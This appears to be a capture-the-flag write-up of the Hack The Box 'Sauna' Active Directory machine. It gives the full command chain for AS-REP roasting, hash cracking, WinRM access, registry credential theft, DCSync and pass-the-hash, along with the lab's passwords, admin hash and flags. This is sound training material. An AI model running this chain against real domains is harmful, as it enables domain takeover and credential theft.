Haiyahhh Hack Vault

HTB - Sauna

3 min read

đźš© HTB - Sauna

Primary: 01 - Network Security

Secondary: 02 - Enumeration, 02 - Credential Access, 02 - Impersonation

Executive Summary

  • IP: 10.10.10.175
  • OS: Windows (Active Directory domain EGOTISTICAL-BANK.LOCAL)
  • Key Technique: Usernames guessed from public staff names → Active Directory - AS-REP Roasting one of them → autologon creds for a second account found in the registry → that account holds DCSync rights → Active Directory - DCSync Attack for the Administrator hash.
  • Status: Completed

Reconnaissance

Nmap Scan

nmap --min-rate 1000 -p- -sC -sV -oA initial_scan 10.10.10.175

Output (brief version):

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
[... more high RPC ports ...]
Service Info: Host: SAUNA; OS: Windows

Summary: Standard AD port spread, domain EGOTISTICAL-BANK.LOCAL, DC hostname SAUNA. Port 80 hosts a corporate site titled “Egotistical Bank”.

echo "10.10.10.175 egotistical-bank.local SAUNA.egotistical-bank.local" | sudo tee -a /etc/hosts

Foothold 1 (Username Enumeration → AS-REP Roasting)

Step 1: Discovery

The “Egotistical Bank” site has a staff/“Meet the Team” page listing employee full names. Converting those to the site’s apparent username convention (first initial + last name) gives a candidate list:

center

fsmith
fergus
scoins
shaun
sdriver
sophie
btaylor
bowie
hbear
hugo
skerb
steven

Step 2: Exploitation

With a candidate username list but no passwords yet, we can try performing Active Directory - AS-REP Roasting since it doesn’t need any credentials to run — just request AS-REPs for every name and see which accounts have Kerberos pre-auth disabled:

impacket-GetNPUsers egotistical-bank.local/ -usersfile usernames.txt -no-pass -dc-ip 10.10.10.175

center

fsmith comes back with a crackable $krb5asrep$ hash:

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:59a09aafa688d3decf540d6c164e18cc$41cc989276e64800e3dca19474c67b61a3938da0384744d04d490bbefc45879ef74728f64817ddda8978d8275adfcb89339e45ed3e4cd92b9cc79f8c3cdab77e135f0e1c922f5226fa5891c154e023a24481d8a1d4b38ef52744640b9427be93f14a3a287f41d0c7db1ff2bbdeb2f41f3712918b03baf1d7dbf54e2e110da1a98cc805283a254ffc5e58cd105182d0c18cb7ceda931db54edcebbdd51cf3de1df0601a0adffeb70ec24183446b39ba1c1d18707bf4fc4e39ecdca348c0cd92d3984d228d8ed5690e5bc95d2a8774a0013dd7d3766350ca073aaedeccb2460ba76fe463c2ee4a4fe4cb464fc571422a9b124433b4258086b1da1f63467f9791ad

Let’s crack the hash using hashcat:

hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Cracked: fsmith:Thestrokes23. This account has WinRM access:

evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'

center

That’s the user.txt shell.

Foothold 2 (Autologon Credentials → svc_loanmgr)

Running WinPEAS (or checking manually) from the fsmith shell surfaces Autologon Credentials in Registry left behind in Winlogon:

center

That yields a second account outright: svc_loanmgr:Moneymakestheworldgoround!.

evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Privilege Escalation (Root)

Enumeration

Collecting AD data as svc_loanmgr shows this account holds DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object — full Active Directory - DCSync Attack rights, most likely granted so it could sync passwords for some legacy loan-management integration and never revoked.

center

Exploitation

impacket-secretsdump egotistical-bank.local/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175

center

That dumps the Administrator NTLM hash directly — no cracking needed, straight to pass-the-hash:

evil-winrm -i 10.10.10.175 -u Administrator -H '823452073d75b9d1cf70ebdf86c7f98e'

center

Congrats, NT AUTHORITY\SYSTEM.

Why the exploits worked

  1. Predictable usernames from public information: the staff page directly hands over enough to derive real usernames, with no need to guess a naming scheme.
  2. Kerberos pre-authentication disabled with a weak password: fsmith was AS-REP roastable and had a dictionary-crackable password — either alone narrows the problem, together they make it trivial.
  3. Autologon credentials never cleaned up: a second, more privileged account’s password sat in plaintext in the registry, readable by any local session.
  4. Over-permissioned service account: svc_loanmgr holding domain-wide replication rights turns compromising it into compromising the entire domain via DCSync.

Loot & Flags

  • User Flag: 6505289e7f44fe50b22f2abc049bb095
  • Root Flag: 5e99ba9321a39de1a3b69833b81dab9d
  • Credentials:
    • fsmith:Thestrokes23
    • svc_loanmgr:Moneymakestheworldgoround!
    • Administrator:823452073d75b9d1cf70ebdf86c7f98e (NT hash)

Graph View

Backlinks